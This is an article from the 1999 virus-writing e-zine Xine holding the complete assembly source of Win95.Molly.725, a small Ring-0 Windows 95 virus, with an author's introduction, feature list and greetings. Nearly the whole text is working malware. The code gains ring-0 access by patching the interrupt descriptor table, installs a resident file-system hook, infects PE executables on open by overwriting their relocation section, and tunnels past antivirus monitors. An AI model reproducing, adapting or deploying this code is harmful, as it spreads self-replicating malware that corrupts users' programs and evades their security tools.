Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 215
/-----------------------------\
| Xine - issue #4 - Phile 215 |
\-----------------------------/
; [Win95.Molly.725] - An experimental specimen
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction ]
;
; This is an experimental virus. After Win32.Legacy i needed to do something
; small and functional. And here it is. This is my third Ring-0 virus,but the
; code scheme is different this time from my two other R0's (Garaipena and
; PoshKiller). This virus was written just at the same time while i started
; to read Neuromancer, and as you can see, its name comes from the girl with
; specular lens, that is one of the main characters of the book (hey, don't
; hesitate and read it!).
;
; [ Features ]
;
; + Ring-0 virus by means of modifying the IDT
; + Resident fast infector of PE files with EXE extension
; + Infects when system opens file
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
; + Heavy optimization (at least i've tried to), only 725 bytes
; + My smallest virus so far :)
;
; [ Greetings ]
;
; + Wintermute &
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
; + Qozah/29A - Thanx for your help and support, dude
; + Benny/29A - I wanna hear that Czech group ;)
; + Super/29A - Why are you always in my greets? :)
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
; + b0z0/iKX - Padania Libera rules!
;
; (c) 1999 Billy Belcebu/iKX
.586p
.model flat,stdcall
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "[Win95.Molly."
db virus_size/0100 mod 10 + "0"
db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db "]",0
szMessage db "First generation host",10
db "(c) 1999 Billy Belcebu/iKX",0
.code
virus:
int 3
jmp molly1
fakehost:
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
call ExitProcess,00h
; ===========================================================================
; Win95.Molly
; ===========================================================================
molly segment dword use32 public '.molly'
; --- Virus mode
DEBUG equ FALSE
; --- Some equates
d equ <[ebp]-offset delta>
rd equ <[ebp]-offset r0delta>
rd_ equ <[ebx]-offset r0delta>
virus_size equ virus_end-virus_start
heap_size equ heap_end-virus_end
total_size equ virus_size+heap_size
TRUE equ 01h
FALSE equ 00h
PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch
PUSHAD_SIZE equ 20h
; --- VxD Functions
VMM_Get_DDB equ 00010146h
IFSMgr_GetHeap equ 0040000Dh
IFSMgr_RetHeap equ 0040000Eh
IFSMgr_Ring0_FileIO equ 00400032h
IFSMgr_InstallFileSystemApiHook equ 00400067h
; --- Hooked Functions
IFSFN_FILEATTRIB equ 21h
IFSFN_OPEN equ 24h
IFSFN_RENAME equ 25h
; --- IFSMgr_Ring0_FileIO functions used
R0_FILEATTRIBUTES equ 04300h
R0_OPENCREATFILE equ 0D500h
R0_CLOSEFILE equ 0D700h
R0_READFILE equ 0D600h
R0_WRITEFILE equ 0D601h
; --- Macro land
dbg macro shit2do
IF DEBUG
shit2do
ENDIF
endm
beep macro
mov ax, 1000
mov bx, 200
mov cx, ax
mov al, 0B6h
out 43h, al
mov dx, 0012h
mov ax, 34DCh
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1: mov ecx, 4680d
l2: loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
endm
VxDCall macro VxDService
int 20h
dd VxDService
endm
VxDJmp macro VxDService
int 20h
dd VxDService+8000h
endm
virus_start label byte
; --- Virus entrypoint
molly1: jmp gdelta
; --- Virus data
kernel dd 00000000h
; --- Virus code
gdelta: call delta ; Get a relative offset
delta: pop ebp
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,ebp ; ESI = Relative offset
call GetImageBase ; Get host's imagebase
mov ModBase d,eax ; Store it
mov ecx,cs ; Avoid installation if we're
xor cl,cl ; in WinNT
jecxz GimmeSomethingBaby
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,[esp]
call GetImageBase
mov kernel d,eax
push edx
sidt fword ptr [esp-2] ; Interrupt table to stack
pop edx
IF DEBUG
add dl,((5*8)+4)
ELSE
add dl,((3*8)+4)
ENDIF
mov ebx,[edx]
mov bx,word ptr [edx-4]
lea esi,NewInt3 d
mov [edx-4],si
shr esi,16 ; Move MSW to LSW
mov [edx+2],si
IF DEBUG
int 5
ELSE
int 3
ENDIF
mov [edx-4],bx
shr ebx,16
mov [edx+2],bx
GimmeSomethingBaby:
mov ebx,00400000h ; Get at runtime
ModBase equ $-4
add ebx,(fakehost-virus)+00001000h ; Get at infection time
OldEIP equ $-4
jmp ebx
NewInt3:
pushad
dbg <int 3>
mov eax,kernel d ; EAX = K32 imagebase
add al,38h ; Ptr to an unused field
cmp word ptr [eax],0CA5Eh ; Already installed?
jz already_installed ; If so, exit
mov word ptr [eax],0CA5Eh ; Case is here...
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
; manipulate more than 4 bytes?
; (without MMX, dork ;)
push total_size
@@1: VxDCall IFSMgr_GetHeap
xchg eax,ecx
pop eax
fistp real8 ptr [ebp+(@@1-delta)]
jecxz already_installed
xchg eax,ecx
mov edi,eax
lea esi,virus_start d
rep movsb
lea edi,[eax+(FileSystemHook-virus_start)]
xchg edi,eax
push eax
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ebx
xchg esi,eax
push esi
add esi,04h
tunnel: lodsd
xchg eax,esi
add esi,08h
js tunnel
mov dword ptr [edi+(top_chain-virus_start)],eax
pop eax
mov dword ptr [edi+(OldFSA-virus_start)],eax
and byte ptr [edi+(semaphore-virus_start)],00h
already_installed:
popad
iret
; --- The new FileSystem hook ;)
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
jz infect
ExitFileSystemHook:
mov eax,12345678h
org $-4
OldFSA dd 00000000h
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
StrCodePage, PtrIOREQ
ret
FileSystemHook endp
r0fio: VxDJmp IFSMgr_Ring0_FileIO
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
dw 0000h
pe_header_ptr dd 00000000h
top_chain dd 00000000h
semaphore db 00h
infect:
pushfd
pushad
call r0delta
r0delta:pop ebx
cmp byte ptr [ebx+(semaphore-r0delta)],00h
jnz exit_infect
inc byte ptr [ebx+(semaphore-r0delta)]
lea esi,top_chain rd_ ; Make null top chain, so we
lodsd ; avoid monitors by means of
xor edx,edx ; cutting their balls :)
xchg [eax],edx
pushad
lea edi,filename rd_
push edi
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
uni2asciiz:
movsb ; Convert to ASCIIz
dec edi
cmpsb
jnz uni2asciiz
pop edx ; EDI = Ptr to ASCIIz filename
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
jnz AvoidInfection
IF DEBUG
cmp dword ptr [edi-0Ch],"TAOG"
jnz AvoidInfection
ENDIF
mov esi,edx ; ESI = Ptr to filename
xor eax,eax
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
; GETFILEATTRIBUTES
push eax
call R0_FileIO
pop eax
jc AvoidInfection
inc eax ; EAX = Function
; SETFILEATTRIBUTES
push esi
push ecx
push eax
xor ecx,ecx ; ECX = New attributes
call R0_FileIO
jc RestoreAttributes
xor eax,eax
cdq
mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
mov ecx,edx ; ECX = 0
inc edx ; EDX = 1
mov ebp,edx
inc ebp
xchg ebp,ebx ; EBX = 2
call R0_FileIO
jc RestoreAttributes
xchg eax,ebx ; EBX = File handle
xor eax,eax
mov ah,R0_READFILE/100h ; EAX = Function READFILE
push eax
push 04h
pop ecx ; ECX = Bytes to read (4)
push 3Ch
pop edx ; EDX = Where to read (3C)
lea esi,pe_header_ptr rd ; ESI = Where store data
call R0_FileIO
lodsd
xchg eax,edx ; EDX = Where to read
pop eax ; EAX = Function READFILE
lea esi,pe_header rd ; ESI = Where store data
xor ecx,ecx
mov ch,04h ; ECX = Bytes to read (1K)
call R0_FileIO
cmp word ptr [esi],"EP"
jnz CloseFile
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
cmp byte ptr [esi+1Ah],al
jz CloseFile
mov byte ptr [esi+1Ah],al
mov edi,esi
movzx eax,word ptr [edi+06h] ; Get last section of header
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx ; ESI = last section header
; EDI = PE header
mov [esi+24h],0E0000000h ; New sectionz attributes
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
and dword ptr [edi+0A4h],00h
cmp dword ptr [esi],"ler."
jnz CloseFile
cmp word ptr [esi+04h],"co"
jnz CloseFile
; Oh, wtf, OVERWRITE! ;)
mov dword ptr [esi],"lom." ; .reloc -> .molly
mov word ptr [esi+4],"yl"
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
push dword ptr [esi+14h] ; Where copy virus
mov eax,virus_size
mov [esi+08h],eax ; VirtualSize -> virus size
mov ecx,[edi+3Ch]
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esi+10h],eax ; SizeOfRawData -> aligned
; virus size
mov eax,[esi+0Ch] ; New EIP
xchg eax,[edi+28h] ; Put new EIP and get old one
mov OldEIP rd,eax ; Save it
push eax
xor eax,eax
mov ah,R0_WRITEFILE/100h ; Write the modified header
inc eax
push eax
xor ecx,ecx
mov ch,04h
mov edx,pe_header_ptr rd
lea esi,pe_header rd
call R0_FileIO
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
pop eax ; Write virus
pop ecx
pop edx
lea esi,virus_start rd
call R0_FileIO
CloseFile:
xor eax,eax
mov ah,R0_CLOSEFILE/100h
call R0_FileIO
RestoreAttributes:
pop eax
pop ecx
pop esi
call R0_FileIO
AvoidInfection:
popad
mov [eax],edx ; Restore top chain
dec byte ptr [ebx+(semaphore-r0delta)]
exit_infect:
popad
popfd
jmp ExitFileSystemHook
; input:
; ESI - Any position in the page where we want to search
; ECX - Search limit (number of pages(limit)/10)
; output:
; EAX - Base address of module/process
GetImageBase:
pushad
and esi,0FFFF0000h
_@1: cmp word ptr [esi],"ZM"
jz CheckPE
_@2: sub esi,00010000h
loop _@1
jmp WeFailed
CheckPE:
mov edi,[esi.3Ch]
add edi,esi
cmp word ptr [edi],"EP"
jnz _@2
mov [esp.PUSHAD_EAX],esi
WeFailed:
popad
ret
; --- Some shit
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
; --- Virus heap data
virus_end label byte
filename db 100h dup (00h)
pe_header db 400h dup (00h)
heap_end label byte
molly ends
end virus